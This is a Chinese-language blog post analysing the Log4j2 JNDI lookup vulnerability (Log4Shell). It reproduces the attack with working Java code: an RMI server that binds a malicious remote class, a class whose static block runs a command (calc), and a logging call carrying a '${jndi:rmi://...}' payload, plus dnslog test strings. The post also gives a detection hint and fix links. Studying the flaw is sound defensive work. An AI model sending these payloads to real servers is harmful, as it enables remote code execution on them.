前言

被log4j2漏洞刷频了,公司也是紧急修复了一波,现在来整个盘一下这个漏洞到底是什么原理!测试漏洞的人太多,连dnslog很长一段时间都访问不了,最后还用的ceye测试复现的。

Apache Log4j 2.x<=2.15.0.rc1

Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare

复现过程

漏洞原理

最主要的漏洞成因就是下面这张图了,log4j2提供的lookup功能

log4j2.jpg

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现:

比如常见的用户登陆日志记录

lookup.png

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

而其中的JNDI(Java Naming and Directory Interface)就是本次的主题了,就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。而log4j 2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?

也就是当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:

${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}

我们可以将上面日志记录的代码简单修改一下,假设用户名是从外部获取的用户输入,此时构建一个恶意用户名${jndi:ladp://z2xcu7.dnslog.cn/exp},然后触发日志记录(可以借助DNSLog生成临时域名用于查看测试是否生效)

ldap.png

可以看到,记录日志时发起了JNDI解析,访问了DNS提供的域名并生成记录

攻击流程

其实JNDI通过SPI(Service Provider Interface)封装了多个协议,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;

复现选择了使用RMI服务,搭建较为快速

攻击思路(文章中使用的jdk1.8):

找到目标服务器记录日志的地方,且记录的部分内容可控

我们还是选择之前的模拟日志记录,假设站点会记录用户登陆日志,实际上大部分网站确实会做相关功能

搭建RMI服务端,包含需要执行的恶意代码

RMI服务端搭建,监听本地8888(自定义)端口,用Reference类引用恶意对象

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}

恶意对象模拟执行cmd打开计算器,并且输出一个语句用于标记执行处

package server;

public class Log4jRCE {
static {
try {
System.out.println("exec in here");
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

执行RMIServer,创建RMI服务

构建EXP触发目标服务器进行日志记录触发JNDI解析

构建恶意用户名模拟输入,执行触发恶意解析

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
String username = "${jndi:rmi://yourip:8888/exp}";
logger.error(username + "is login on ${java:os}");
}
}

解析结果定位到搭建的恶意服务端,目标服务器访问并触发恶意代码

恶意代码被执行,注意看恶意代码执行记录,是在日志记录的地方被执行

res.png

其他信息

看看大佬们都干了啥

特斯拉测试
主要利用模式

修复与检测

可以通过${jndi字串匹配是否受到攻击

修复参考链接:

https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg

https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g

总结

目前已证实服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、 Steam等。据统计,共有6921个应用程序都有被攻击的风险,其中《我的世界》首轮即被波及。就连修改iPhone手机名称都能触发,最主要的是这是国外黑客玩了几个月玩腻了才公开的漏洞!

一个范围广的0day漏洞可能导致整个互联网沦为肉鸡或者瘫痪,网络安全,任重而道远。

不过早在11月24日,阿里云就监测到了在野攻击并给apache报告了,只是apache新出的版本只是拦截了ldap,其他协议依旧有效。所以公开后很快被腾讯团队测试可绕过,当天发出修复版本Log4j 2.15.0-rc2